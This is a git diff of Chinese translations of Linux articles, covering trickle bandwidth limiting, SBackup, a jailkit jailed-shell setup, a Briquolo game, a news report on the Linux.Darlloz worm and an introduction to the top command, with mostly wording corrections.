**Trickle**是一款带宽整形器,用来限制如**Firefox, FTP , SSH**以及其他使用网络带宽的程序的带宽使用。你希望你的**Youtube**音乐体验影响到你的ftp下载么？如果不想，请继续阅读这篇文章，学习如何在你的机器上安装和使用trickle。
|
||||
|
||||
**Trickle**是一款带宽控制供给，用来限制如**Firefox, FTP , SSH**以及其他使用网络带宽的程序的带宽。你希望你的**Youtube**音乐体验影响到你的ftp下载么？如果不想，请继续阅读这篇文章，学习如何在你的机器上安装和使用trickle。
|
||||
|
||||
### 怎样在Linux上安装Trickle ###
|
||||
|
||||
trickle工具有它自己的依赖包，安装和使用trickle之前必须安装“**libevent 库**”，不过这个库在大多数现在的Linux机器上已经默认安装。
|
||||
|
||||
trickle工具有一些依赖包，安装和使用trickle之前必须安装“**libevent 库**”，不过这个库在大多数现在的Linux机器上已经默认安装。
|
||||
|
||||
#### 在 Debian/Ubuntu/Linux Mint 上####
|
||||
|
||||
@ -32,8 +31,7 @@ trickle工具有它自己的依赖包，安装和使用trickle之前必须安装
|
||||
|
||||
Trickle通过控制socket数据读写量来控制和限制应用的**上传/下载**速度。它使用另一个版本的**BSD**套接字API，但是区别是trickle还管理socket调用。
|
||||
|
||||
要注意的是trickle使用动态链接和加载，所以它只对于使用"Glibc库"的程序有用。由于trickle可以设置数据在socket上的传输延迟，显然它可以用来限制一个应用的网络带宽。
|
||||
|
||||
要注意的是trickle使用动态链接和加载，所以它只对于使用"Glibc库"的程序有用。由于trickle可以设置数据在socket上的传输延迟，所以它可以用来限制一个应用的网络带宽。
|
||||
|
||||
### Trickle不能做什么？ ###
|
||||
|
||||
@ -41,7 +39,6 @@ Trickle不能用于限制使用**UDP**协议的应用的带宽，它只可用于
|
||||
|
||||
还要说一下,trickle无法工作在使用静态链接的可执行程序上。
|
||||
|
||||
|
||||
### 确定Trickle是否可运行在某个特定应用上 ###
|
||||
|
||||
既然trickle无法限制每个应用的**上传/下载**速度，就应该有个方法找出trickle可以工作的应用。
|
||||
@ -65,14 +62,14 @@ Trickle不能用于限制使用**UDP**协议的应用的带宽，它只可用于
|
||||
|
||||
### 学习如何使用Trickle ###
|
||||
|
||||
使用下面的命令打印trickle工具的**版本**。
|
||||
使用下面的命令输出trickle工具的**版本**。
|
||||
|
||||
root@oltjano-X55CR:~# trickle -V
|
||||
trickle: version 1.07
|
||||
|
||||
Linux有很多命令行工具使测试(实验)变得有趣和美丽。下面的命令使用[wget 工具][1]来下载最新的Pear OS镜像.
|
||||
|
||||
root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
|
||||
--2013-11-20 11:56:32-- http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
Resolving sourceforge.net (sourceforge.net)... 216.34.181.60
|
||||
@ -93,8 +90,6 @@ root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pea
|
||||
|
||||
0% [ ] 30,78,278 381KB/s eta 1h 50m
|
||||
从输出可以看到，下载速度大约是**381 KB/s**。我想限制下载速度到**13 K/s**，这样我就可以用我的带宽做其他的事情了。下面的命令用来限制wget速度到**13 K/s**。
|
||||
|
||||
root@oltjano-X55CR:~# trickle -d 13 wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
|
||||
ravisaive@ravisaive-OptiPlex-380:~$ trickle -d 13 wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
|
||||
@ -117,7 +112,7 @@ root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pea
|
||||
|
||||
0% [ ] 2,01,550 13.1KB/s eta 21h 5m
|
||||
|
||||
从输出可以看到，下载速度被限制到了**13K/s**。下载将会持续**21小时5分钟**。上面的“**-d**”选项表示下载，还可以结合使用 “**-d**”选项和上传选项(**-u**),如下例所示。
|
||||
从输出可以看到，下载速度被限制到了**13K/s**。下载将会持续**21小时5分钟**。上面的“**-d**”选项表示下载，还可以结合使用 “**-d**”选项和上传选项(**-u**)，如下例所示。
|
||||
|
||||
# trickle -u 100 -d 50 ftp
|
||||
|
||||
@ -127,7 +122,7 @@ root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pea
|
||||
|
||||
每个命令行工具都对用户提供了帮助，使用"trickle -h"命令来找出更多trickle工具的用法。
|
||||
|
||||
root@oltjano-X55CR:/usr/bin# trickle -h
|
||||
root@oltjano-X55CR:/usr/bin# trickle -h
|
||||
|
||||
Usage: trickle [-hvVs] [-d <rate>] [-u <rate>] [-w <length>] [-t <seconds>]
|
||||
[-l <length>] [-n <path>] command ...
|
||||
@ -11,6 +11,7 @@
|
||||
不久前，Adobe公司成了网络攻击者的目标。Adobe公司的安全团队发现了一起针对Adobe公司内部网络的复杂攻击，攻击获取了Adobe公司的客户信息并盗取了数个Adobe公司产品的源代码。根据Adobe公司官方博客上的安全告示，攻击者盗取了Adobe用户的账户ID以及登录密码。但是Adobe公司的安全团队并不认为与账户关联的信用卡信息或者资金账户信息会一并被盗取。
|
||||
|
||||
你可以点击[这儿][3]阅读更多相关的安全公告。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/play-crossword-game-adobes-leaked-passwords/
|
||||
@ -62,19 +62,19 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得，所以
|
||||
|
||||
|
||||
|
||||
### General ###
|
||||
#### General选项卡 ####
|
||||
|
||||
在 General 选项内，你可以选择多久进行一次完整备份，默认是7天。每7天 SBackup 将会进行一次完整的备份。你也可以选择备份的压缩格式。
|
||||
|
||||
|
||||
|
||||
### Include ###
|
||||
#### Include选项卡 ####
|
||||
|
||||
这个选项不需要解释太多，你可以添加 SBackup 要备份的文件或目录。这里可以选择备份单独的文件或者完整的目录，我删除了所有的目录仅仅保留了“Resume”
|
||||
|
||||
|
||||
|
||||
### Exclude ###
|
||||
#### Exclude选项卡 ####
|
||||
|
||||
如同 Include 选项，我们可以选择备份时排除的文档和目录，只需要选择要排除的文档和目录的路径即可。在默认配置下，/media, /var/run/, /var/cache/, /var/spool/ 和 /vat/tmp/ 目录均被排除
|
||||
|
||||
@ -92,7 +92,7 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得，所以
|
||||
|
||||
|
||||
|
||||
### Destination ###
|
||||
#### Destination选项卡 ####
|
||||
|
||||
在这里你可以选择备份存放的路径，正如我之前提到的，你可以把备份的文档或文件夹存放在硬盘或者远程的 FTP 或 NAS。这里我将把备份保存在 /home/sk/My Backup 目录下。
|
||||
|
||||
@ -100,7 +100,7 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得，所以
|
||||
|
||||
**提示:** 在备份前确认目录有足够的空间保存备份文件
|
||||
|
||||
### Schedule ###
|
||||
#### Schedule选项卡 ####
|
||||
|
||||
在这个选项中，你可以设定具体的备份时间。点击 **Simple** 选项，可以按每小时、每日、每周、每月来设置你的计划备份时间。
|
||||
|
||||
@ -114,13 +114,13 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得，所以
|
||||
|
||||
lrwxrwxrwx 1 root root 33 Nov 8 15:34 /etc/cron.daily/sbackup -> /usr/share/sbackup/sbackup-launch
|
||||
|
||||
### Purging ###
|
||||
#### Purging选项卡 ####
|
||||
|
||||
在这个选项里，可以删除超过一定时间的备份文件。在默认配置下，超过30天的备份文件将被删除。
|
||||
|
||||
|
||||
|
||||
### Report ###
|
||||
#### Report选项卡 ####
|
||||
|
||||
Report 是最后一个选项卡，在这里你可以设置接收备份完成通知的邮箱。输入你的邮箱ID、SMTP服务地址、邮箱用户名、密码后，点击 Test mail settings。需要留意的是，在测试邮箱设置前，点击工具栏中的Save Configuration按钮保存你的配置。
|
||||
|
||||
240
published/Setup a jailed shell with jailkit on ubuntu.md
Normal file
240
published/Setup a jailed shell with jailkit on ubuntu.md
Normal file
@ -0,0 +1,240 @@
|
||||
在Ubuntu下用jailkit建立一个受限Shell
|
||||
================================================================================
|
||||
|
||||
### Jailkit和jailed Shell ###
|
||||
|
||||
受限shell（Jailed Shell）是一类被限制的shell，它看起来非常像真实的Shell，但是它不允许查看和修改真实的文件系统的任何部分。Shell内的文件系统不同于底层的文件系统。这种功能是通过chroot和其他多种程序实现的。举例来说，给用户建立一个linux shell去让他“玩玩”，或者在一个限定的环境里运行一些程序的所有功能等等。
|
||||
|
||||
在这个教程里我们将会探讨在Ubuntu下用jailkit建立一个受限shell。Jailkit是一个让你快速建立一个受限shell的工具，将受限用户放到里面，并配置那些要在受限制环境里运行的程序。
|
||||
|
||||
Jailkit 从这里下载：[http://olivier.sessink.nl/jailkit/][1]
|
||||
|
||||
|
||||
###在Ubuntu/Debian 上安装 jailkit ###
|
||||
|
||||
1. 因为jaikit需要在系统上编译，首先，我们需要有用于编译的那些工具。所以，安装如下包：
|
||||
|
||||
$ sudo apt-get install build-essential autoconf automake libtool flex bison debhelper binutils-gold
|
||||
|
||||
2. 从下述URL下载Jailkit，或者访问它的网站以下载最新版本的，如果有了更新版本的话。http://olivier.sessink.nl/jailkit/jailkit-2.16.tar.gz
|
||||
|
||||
$ wget http://olivier.sessink.nl/jailkit/jailkit-2.16.tar.gz
|
||||
|
||||
3. 解压
|
||||
|
||||
$ tar -vxzf jailkit-2.16.tar.gz
|
||||
|
||||
4. 编译并创建deb软件包
|
||||
|
||||
Jailkit已经包含了用于编译成deb软件包的代码和配置，可以直接安装在Debian系的Linux上。运行下列命令来完成它。
|
||||
|
||||
$ cd jailkit-2.16/
|
||||
$ sudo ./debian/rules binary
|
||||
|
||||
5. 安装deb软件包
|
||||
|
||||
上述命令创建的deb软件包叫做： jailkit_2.16-1_amd64.deb.
|
||||
|
||||
$ cd ..
|
||||
$ sudo dpkg -i jailkit_2.16-1_amd64.deb
|
||||
|
||||
就是这样，现在Jailkit已经安装完成了。Jailkit有许多命令可以用来设置一个基于chroot的受限环境，如下是这些命令：
|
||||
|
||||
$ jk_
|
||||
jk_addjailuser jk_chrootlaunch jk_cp jk_jailuser jk_lsh jk_uchroot
|
||||
jk_check jk_chrootsh jk_init jk_list jk_socketd jk_update
|
||||
|
||||
上述命令都有man帮助信息，如果你使用它们时，可以参考。
|
||||
|
||||
### 配置Jailed Shell ###
|
||||
|
||||
1. 配置受限环境
|
||||
|
||||
我们需要建立一个目录来存放所有受限环境的配置。目录随便放在什么地方，比如我们可以创建个/opt/jail的目录。
|
||||
|
||||
$ sudo mkdir /opt/jail
|
||||
|
||||
这个目录应为Root所有。用chown改变属主。
|
||||
|
||||
$ sudo chown root:root /opt/jail
|
||||
|
||||
2. 设置在受限环境中可用的程序
|
||||
|
||||
任何程序想要在受限环境中执行则必须用jk_init命令拷贝到目录中。
|
||||
|
||||
例如：
|
||||
|
||||
$ sudo jk_init -v /jail basicshell
|
||||
$ sudo jk_init -v /jail editors
|
||||
$ sudo jk_init -v /jail extendedshell
|
||||
$ sudo jk_init -v /jail netutils
|
||||
$ sudo jk_init -v /jail ssh
|
||||
$ sudo jk_init -v /jail sftp
|
||||
$ sudo jk_init -v /jail jk_lsh
|
||||
|
||||
或一次性解决：
|
||||
|
||||
$ sudo jk_init -v /opt/jail netutils basicshell jk_lsh openvpn ssh sftp
|
||||
|
||||
像basicshell, editors, netutils是一些组名，其中包含多个程序。复制到jail shell中的每个组都是可执行文件、库文件等的集合。比如**basicshell**就在jail提供有bash, ls, cat, chmod, mkdir, cp, cpio, date, dd, echo, egrep等程序。
|
||||
|
||||
完整的程序列表设置，你可以在/etc/jailkit/jk_init.ini中查看。
|
||||
|
||||
> jk_lsh (Jailkit limited shell) - 这是一个重要的部分，必须添加到受限环境中。
|
||||
|
||||
3. 创建将被监禁的用户
|
||||
|
||||
需要将一个用户放入jail里。可以先创建一个
|
||||
|
||||
$ sudo adduser robber
|
||||
Adding user `robber' ...
|
||||
Adding new group `robber' (1005) ...
|
||||
Adding new user `robber' (1006) with group `robber' ...
|
||||
Creating home directory `/home/robber' ...
|
||||
Copying files from `/etc/skel' ...
|
||||
Enter new UNIX password:
|
||||
Retype new UNIX password:
|
||||
passwd: password updated successfully
|
||||
Changing the user information for robber
|
||||
Enter the new value, or press ENTER for the default
|
||||
Full Name []:
|
||||
Room Number []:
|
||||
Work Phone []:
|
||||
Home Phone []:
|
||||
Other []:
|
||||
Is the information correct? [Y/n] y
|
||||
|
||||
注意:目前创建的是一个在实际文件系统中的普通用户，并没有添加到受限环境中。
|
||||
|
||||
在下一步这个用户会被放到受限环境里。
|
||||
|
||||
这时候如果你查看/etc/passwd文件，你会在文件最后看到跟下面差不多的一个条目。
|
||||
|
||||
robber:x:1006:1005:,,,:/home/robber:/bin/bash
|
||||
|
||||
这是我们新创建的用户，最后部分的/bin/bash指示了这个用户如果登入了那么它可以在系统上正常的Shell访问
|
||||
|
||||
4. 限制用户
|
||||
|
||||
现在是时候将用户限制
|
||||
|
||||
$ sudo jk_jailuser -m -j /opt/jail/ robber
|
||||
|
||||
执行上列命令后，用户robber将会被限制。
|
||||
|
||||
如果你现在再观察/etc/passwd文件，会发现类似下面的最后条目。
|
||||
|
||||
robber:x:1006:1005:,,,:/opt/jail/./home/robber:/usr/sbin/jk_chrootsh
|
||||
|
||||
注意:最后两部分表明用户主目录和shell类型已经被改变了。现在用户的主目录在/opt/jail(受限环境)中。用户的Shell是一个名叫jk_chrootsh的特殊程序，会提供Jailed Shell。
|
||||
|
||||
jk_chrootsh这是个特殊的shell，每当用户登入系统时，它都会将用户放入受限环境中。
|
||||
|
||||
到目前为止受限配置已经几乎完成了。但是如果你试图用ssh连接，那么注定会失败,像这样：
|
||||
|
||||
$ ssh robber@localhost
|
||||
robber@localhost's password:
|
||||
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64)
|
||||
* Documentation: https://help.ubuntu.com/
|
||||
13 packages can be updated.
|
||||
0 updates are security updates.
|
||||
*** /dev/sda7 will be checked for errors at next reboot ***
|
||||
*** /dev/sda8 will be checked for errors at next reboot ***
|
||||
Last login: Sat Jun 23 12:45:13 2012 from localhost
|
||||
Connection to localhost closed.
|
||||
$
|
||||
|
||||
连接会立马关闭，这意味着用户已经活动在一个受限制的shell中。
|
||||
|
||||
5. 给在jail中的用户Bash Shell
|
||||
|
||||
下个重要的事情是给用户在限制环境中的一个正确的bash shell。
|
||||
|
||||
打开下面的文件
|
||||
|
||||
/opt/jail/etc/passwd
|
||||
|
||||
这是个jail中的password文件。类似如下
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
robber:x:1006:1005:,,,:/home/robber:/usr/sbin/jk_lsh
|
||||
|
||||
将/usr/sbin/jk_lsh改为/bin/bash
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
robber:x:1006:1005:,,,:/home/robber:/bin/bash
|
||||
|
||||
保存文件并退出。
|
||||
|
||||
6. 登入限制环境
|
||||
|
||||
现在让我们再次登入受限环境
|
||||
|
||||
$ ssh robber@localhost
|
||||
robber@localhost's password:
|
||||
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64)
|
||||
* Documentation: https://help.ubuntu.com/
|
||||
13 packages can be updated.
|
||||
0 updates are security updates.
|
||||
*** /dev/sda7 will be checked for errors at next reboot ***
|
||||
*** /dev/sda8 will be checked for errors at next reboot ***
|
||||
Last login: Sat Jun 23 12:46:01 2012 from localhost
|
||||
bash: groups: command not found
|
||||
I have no name!@desktop:~$
|
||||
|
||||
受限环境说'I have no name!'，哈哈。现在我们在受限环境中有了个完整功能的bash shell。
|
||||
|
||||
现在看看实际的环境。受限环境中的根目录实际就是真实文件系统中的/opt/jail。但这只有我们自己知道，受限用户并不知情。
|
||||
|
||||
I have no name!@desktop:~$ cd /
|
||||
I have no name!@desktop:/$ ls
|
||||
bin dev etc home lib lib64 run usr var
|
||||
I have no name!@desktop:/$
|
||||
|
||||
也只有我们通过jk_cp拷贝到jail中的命令能使用。
|
||||
|
||||
如果登入失败，请检查一下/var/log/auth.log的错误信息。
|
||||
|
||||
现在尝试运行一些网络命令，类似wget的命令。
|
||||
|
||||
$ wget http://www.google.com/
|
||||
|
||||
如果你获得类似的错误提示：
|
||||
|
||||
$ wget http://www.google.com/
|
||||
--2012-06-23 12:56:43-- http://www.google.com/
|
||||
Resolving www.google.com (www.google.com)... failed: Name or service not known.
|
||||
wget: unable to resolve host address `www.google.com'
|
||||
|
||||
你可以通过运行下列两条命令来解决这个问题:
|
||||
|
||||
$ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_files.so.2
|
||||
$ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_dns.so.2
|
||||
|
||||
这样才能正确的定位到libnss_files.so和libnss_dns.so
|
||||
|
||||
### 在限制环境中运行程序或服务 ###
|
||||
|
||||
现在配置已经完成了。可以在限制/安全的环境里运行程序或服务。要在限制环境中启动一个程序或守护进程可以用**jk_chrootlaunch**命令。
|
||||
|
||||
$ sudo jk_chrootlaunch -j /opt/jail -u robber -x /some/command/in/jail
|
||||
|
||||
jk_chrootlaunch工具可以在限制环境中启动一个特殊的进程同时指定用户特权。如果守护进程启动失败，请检查/var/log/syslog/错误信息。
|
||||
|
||||
在限制环境中运行程序之前，该程序必须已经用jk_cp命令复制到jail中。
|
||||
|
||||
> jk_cp - 将文件包括权限信息和库文件复制到jail的工具
|
||||
|
||||
进一步阅读有关其他jailkit命令信息，可以阅读文档，[http://olivier.sessink.nl/jailkit/][1]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
via: http://www.binarytides.com/install-jailkit-ubuntu-debian/
|
||||
|
||||
via: http://www.binarytides.com/setup-jailed-shell-jailkit-ubuntu/
|
||||
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://olivier.sessink.nl/jailkit/
|
||||
|
||||
@ -0,0 +1,25 @@
|
||||
打砖块游戏Briquolo，测试你的反应速度
|
||||
================================================================================
|
||||
|
||||
[Briquolo][2]是一款快速而又迷人的游戏，用一个球来破坏不同的物体，经典而又好玩。
|
||||
|
||||
Briquolo十分考验反应速度，因此，游戏玩家必需时刻注意球的反弹走向，一不留神就可能让球掉落。
|
||||
|
||||
启动游戏后，你会看到这是一款3D游戏，以3D对象展现的华丽木块浮动在一个多彩的环境里，当击破木块时有机率掉落特殊物体，毫无疑问获取它们是至关重要的，这会改变球或滑板的状态，比如球会加速，但有时候也会给你带来麻烦。
|
||||
|
||||
音乐及特效选项还提供了更精致的效果(包括游戏全屏，高分辨率，--可调至1920×1080--)，进而呈现一个有趣而又更富挑战性的Briquolo。
|
||||
|
||||
|
||||
|
||||
Briquolo 0.5.7可以通过Ubuntu软件中心(Ubuntu 12.04, Ubuntu 12.04, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04)[免费安装][2]。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game
|
||||
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://briquolo.free.fr/en/
|
||||
[2]:apt://briquolo
|
||||
@ -1,12 +1,13 @@
|
||||
新蠕虫能感染 Linux 系统和嵌入式设备！
|
||||
================================================================================
|
||||
**来自𧶼门铁克研究员的消息，这个病毒通过2012年出现的 PHP 漏洞传播**
|
||||
|
||||
**来自赛门铁克研究员的消息，这个病毒通过2012年出现的 PHP 漏洞传播**
|
||||
|
||||
据美国国际数据集团（IDG）的新闻 —— 一个新的蠕虫病毒将目标指向那些运行了 Linux 和 PHP 的 x86 架构计算机，其变种还会对运行在其他芯片架构上的设备（诸如家用路由器和机顶盒）造成威胁。
|
||||
|
||||
根据𧶼门铁克研究员的介绍，这种病毒利用 php-cgi 上的一个漏洞进行传播，这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口（CGI）的配置环境下被执行。此漏洞的代号为 CVE-2012-1823（通过这个漏洞，攻击者可以远程执行任意代码，所以这个漏洞又叫“程任意代码执行漏洞” —— 译者注）。2012年5月份，PHP 5.4.3 和 PHP 5.3.13 这两个版本被打上补丁，修复了这个漏洞。
|
||||
根据赛门铁克研究员的介绍，这种病毒利用 php-cgi 上的一个漏洞进行传播，这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口（CGI）的配置环境下被执行。此漏洞的代号为 CVE-2012-1823（通过这个漏洞，攻击者可以远程执行任意代码，所以这种漏洞又叫“远程任意代码执行漏洞” —— 译者注）。2012年5月份，PHP 5.4.3 和 PHP 5.3.13 这两个版本已经打上补丁修复了这个漏洞。
|
||||
|
||||
这个𧶼门铁克的研究员在[博客][1]中写道：这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码（PoC：proof of concept，概念验证。利用目标计算机的漏洞，为对其进行攻击而设计的代码称为 exploit，而一个没有充分利用漏洞的 exploit，就是 PoC —— 译者注）。
|
||||
这个赛门铁克的研究员在[博客][1]中写道：这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码（PoC：proof of concept，概念验证。利用目标计算机的漏洞，为对其进行攻击而设计的代码称为 exploit，而一个没有充分利用漏洞的 exploit，就是 PoC —— 译者注）。
|
||||
|
||||
“在传播过程中，这段蠕虫代码会随机产生 IP 地址，通过特殊途径，利用普通的用户名密码发送 HTTP POST 请求，探测漏洞”，研究员解释道：“如果一个目标没有打上 CVE-2012-1823 的补丁，这台机器就会从病毒服务器下载蠕虫病毒，之后寻找下一个目标。”
|
||||
|
||||
@ -26,13 +27,13 @@
|
||||
|
||||
“很多用户也许压根就不知道他们家里或办公室的设备存在漏洞，”啰嗦的研究员说：“我们面临的另一个问题是，即使用户注意到他们用的是有漏洞的设备，这些设备的供应商却没有提供补丁，原因是技术落后，或者完全就是硬件的限制：内存不足，或 CPU 太慢，不足以支持这些软件的新版本。”
|
||||
|
||||
“为了保护他们的设备免受蠕虫感染，用户需要确认这些设备是否运行在最新的固件版本上，必要的话，升级固件，设置高强度的管理员密码，在防火墙那儿，或任何独立的设备那儿，屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的𧶼门铁克研究员说道。
|
||||
“为了保护他们的设备免受蠕虫感染，用户需要确认这些设备是否运行在最新的固件版本上，必要的话，升级固件，设置高强度的管理员密码，在防火墙那儿，或任何独立的设备那儿，屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的赛门铁克研究员说道。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122
|
||||
|
||||
译者：[bazz2](https://github.com/bazz2) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
译者：[bazz2](https://github.com/bazz2) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
@ -0,0 +1,305 @@
|
||||
30个实例详解TOP命令
|
||||
================================================================================
|
||||
|
||||
Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中，我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。
|
||||
|
||||
（译注：不同发行版的top命令在各种细节有不同，如果发现不同时，请读你的帮助手册和命令内的帮助。）
|
||||
|
||||
## 1. Top 命令输出: ##
|
||||
|
||||
首先，让我们了解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义：默认运行时，top命令会显示如下输出：
|
||||
|
||||
|
||||
|
||||
前几行水平显示了不同系统参数的概括，接下来是进程和它们在列中的属性。
|
||||
|
||||
### 1.1 系统运行时间和平均负载： ###
|
||||
|
||||
|
||||
|
||||
top命令的顶部显示与uptime命令相似的输出。
|
||||
|
||||
这些字段显示：
|
||||
|
||||
- 当前时间
|
||||
- 系统已运行的时间
|
||||
- 当前登录用户的数量
|
||||
- 相应最近5、10和15分钟内的平均负载。
|
||||
|
||||
可以使用'l'命令切换uptime的显示。
|
||||
|
||||
### 1.2 任务: ###
|
||||
|
||||
|
||||
|
||||
第二行显示的是任务或者进程的总结。进程可以处于不同的状态。这里显示了全部进程的数量。除此之外，还有正在运行、睡眠、停止、僵尸进程的数量（僵尸是一种进程的状态）。这些进程概括信息可以用't'切换显示。
|
||||
|
||||
### 1.3 CPU 状态: ###
|
||||
|
||||
|
||||
|
||||
下一行显示的是CPU状态。 这里显示了不同模式下的所占CPU时间的百分比。这些不同的CPU时间表示:
|
||||
|
||||
- us, user： 运行(未调整优先级的) 用户进程的CPU时间
|
||||
- sy，system: 运行内核进程的CPU时间
|
||||
- ni，niced：运行已调整优先级的用户进程的CPU时间
|
||||
- wa，IO wait: 用于等待IO完成的CPU时间
|
||||
- hi：处理硬件中断的CPU时间
|
||||
- si: 处理软件中断的CPU时间
|
||||
- st：这个虚拟机被hypervisor偷去的CPU时间（译注：如果当前处于一个hypervisor下的vm，实际上hypervisor也是要消耗一部分CPU处理时间的）。
|
||||
|
||||
可以使用't'命令切换显示。
|
||||
|
||||
### 1.4 内存使用: ###
|
||||
|
||||
|
||||
|
||||
接下来两行显示内存使用率，有点像'free'命令。第一行是物理内存使用，第二行是虚拟内存使用(交换空间)。
|
||||
|
||||
物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地：交换部分显示的是：全部、已使用、空闲和缓冲交换空间。
|
||||
|
||||
内存显示可以用'm'命令切换。
|
||||
|
||||
### 1.5 字段/列: ###
|
||||
|
||||
|
||||
|
||||
在横向列出的系统属性和状态下面，是以列显示的进程。不同的列代表下面要解释的不同属性。
|
||||
|
||||
默认上，top显示这些关于进程的属性：
|
||||
|
||||
**PID**
|
||||
|
||||
进程ID，进程的唯一标识符
|
||||
|
||||
**USER**
|
||||
|
||||
进程所有者的实际用户名。
|
||||
|
||||
**PR**
|
||||
|
||||
进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。
|
||||
|
||||
**NI**
|
||||
|
||||
进程的nice值（优先级）。越小的值意味着越高的优先级。
|
||||
|
||||
**VIRT**
|
||||
|
||||
进程使用的虚拟内存。
|
||||
|
||||
**RES**
|
||||
|
||||
驻留内存大小。驻留内存是任务使用的非交换物理内存大小。
|
||||
|
||||
**SHR**
|
||||
|
||||
SHR是进程使用的共享内存。
|
||||
|
||||
**S**
|
||||
|
||||
这个是进程的状态。它有以下不同的值:
|
||||
|
||||
- D - 不可中断的睡眠态。
|
||||
- R – 运行态
|
||||
- S – 睡眠态
|
||||
- T – 被跟踪或已停止
|
||||
- Z – 僵尸态
|
||||
|
||||
**%CPU**
|
||||
|
||||
自从上一次更新时到现在任务所使用的CPU时间百分比。
|
||||
|
||||
**%MEM**
|
||||
|
||||
进程使用的可用物理内存百分比。
|
||||
|
||||
**TIME+**
|
||||
|
||||
任务启动后到现在所使用的全部CPU时间，精确到百分之一秒。
|
||||
|
||||
**COMMAND**
|
||||
|
||||
运行进程所使用的命令。
|
||||
|
||||
还有许多在默认情况下不会显示的输出，它们可以显示进程的页错误、有效组和组ID和其他更多的信息。
|
||||
|
||||
## 2. 交互命令: ##
|
||||
|
||||
我们之前说过top是一个交互命令。上一节我们已经遇到了一些命令。这里我们会探索更多的命令。
|
||||
|
||||
### 2.1 ‘h’: 帮助 ###
|
||||
|
||||
首先，我们可以用'h'或者'?'显示交互命令的帮助菜单。
|
||||
|
||||
|
||||
|
||||
### 2.2 ‘\<ENTER>’ 或者 ‘\<SPACE>’: 刷新显示 ###
|
||||
|
||||
top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新，用户可以输入回车或者空格。
|
||||
|
||||
### 2.3 ‘A’: 切换交替显示模式 ###
|
||||
|
||||
这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口（译注：分别关注不同的字段）:
|
||||
|
||||
1. Def （默认字段组）
|
||||
2. Job （任务字段组）
|
||||
3. Mem （内存字段组）
|
||||
4. Usr （用户字段组）
|
||||
|
||||
这四组字段共有一个独立的可配置的概括区域和它自己的可配置任务区域。4个窗口中只有一个窗口是当前窗口。当前窗口的名称显示在左上方。（译注：只有当前窗口才会接受你键盘交互命令）
|
||||
|
||||
|
||||
|
||||
我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口，'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。
|
||||
|
||||
|
||||
|
||||
### 2.4 ‘B’: 触发粗体显示 ###
|
||||
|
||||
一些重要信息会以加粗字体显示。这个命令可以切换粗体显示。
|
||||
|
||||
|
||||
|
||||
### 2.5 ‘d’ 或‘s’: 设置显示的刷新间隔 ###
|
||||
|
||||
